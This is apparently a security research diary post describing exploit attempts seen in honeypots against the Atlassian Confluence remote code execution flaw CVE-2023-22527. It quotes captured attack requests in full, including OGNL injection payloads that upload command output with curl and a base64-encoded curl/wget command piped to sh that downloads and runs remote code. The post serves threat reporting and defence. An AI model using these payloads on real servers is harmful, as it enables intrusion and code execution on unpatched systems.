Scans/Exploit Attempts for Atlassian Confluence RCE Vulnerability CVE-2023-22527

Published: 2024-01-22
Last Updated: 2024-01-22 15:20:40 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

Last week (January 16th), Atlassian released it's January 2024 Security Bulletin. Included with the bulletin was a patch for CVE-2023-22527, a remote code execution vulnerability in Confluence Data Center and Confluence Server. Atlassian assigned a CVSS score of 10.0 to the vulnerability. Exploitation does not require authentication [1].

The update fixed a template injection vulnerability. Similar vulnerabilities have been patched in Atlassian products in the past. Confluence, like most (all?) Atlassian products are written in Java. Java, particularly the Struts framework, uses OGNL (Object-Graph Navigation Language) to represent Java objects. An attacker able to inject an arbitrary OGNL object can execute Java code.

Yesterday, more details regarding the vulnerability were released, including proof of concept code [2[. The proof of concept code was created by reversing the patch Atlassian had released. The blog post highlighted how the "/template/aui/text-inline.vm" URL can be used to execute arbitrary code. 

Following the release of this blog post, we saw an increase in exploit attempts in our honeypots. For example:

POST /template/aui/text-inline.vm HTTP/1.1
Host: [victim IP]:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 320
Accept-Encoding: gzip, deflate
Connection: close

label=aaa'%2B#request.get('.KEY_velocity.struts2.context').internalGet('ognl').findValue(#parameters.poc[0],{})%2b'&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({"pwd > 778.txt && curl -F "file=@./778.txt""}))

This is just a simple "vulnerability scan," exporting the current directory to if the victim is vulnerable. But we have seen other payloads as well:

label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027&x=(new freemarker.template.utility.Execute()).exec({"echo -n Y3VybCAtcyBodHRwOi8vMTk1LjIxMS4xMjQuMTg0L2FhIHx8IHdnZXQgLXEgLU8tIGh0dHA6Ly8xOTUuMjExLjEyNC4xODQvYWE= | base64 -d | sh"})

The base64 string decodes to 

curl -s || wget -q -O-

, which sadly can no longer be found.

A third payload also leads to a no longer available URL (it is unique for each request, which is why I obfuscated part of it):

 label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl cmn524vcgnq5jr6edd00kx5[obfuscated["})

In addition, there are the usual requests to execute "id" and "whoami"

PATCH NOW... (and assume compromise if you find an unpatched system)


Johannes B. Ullrich, Ph.D. , Dean of Research,

0 comment(s)


Diary Archives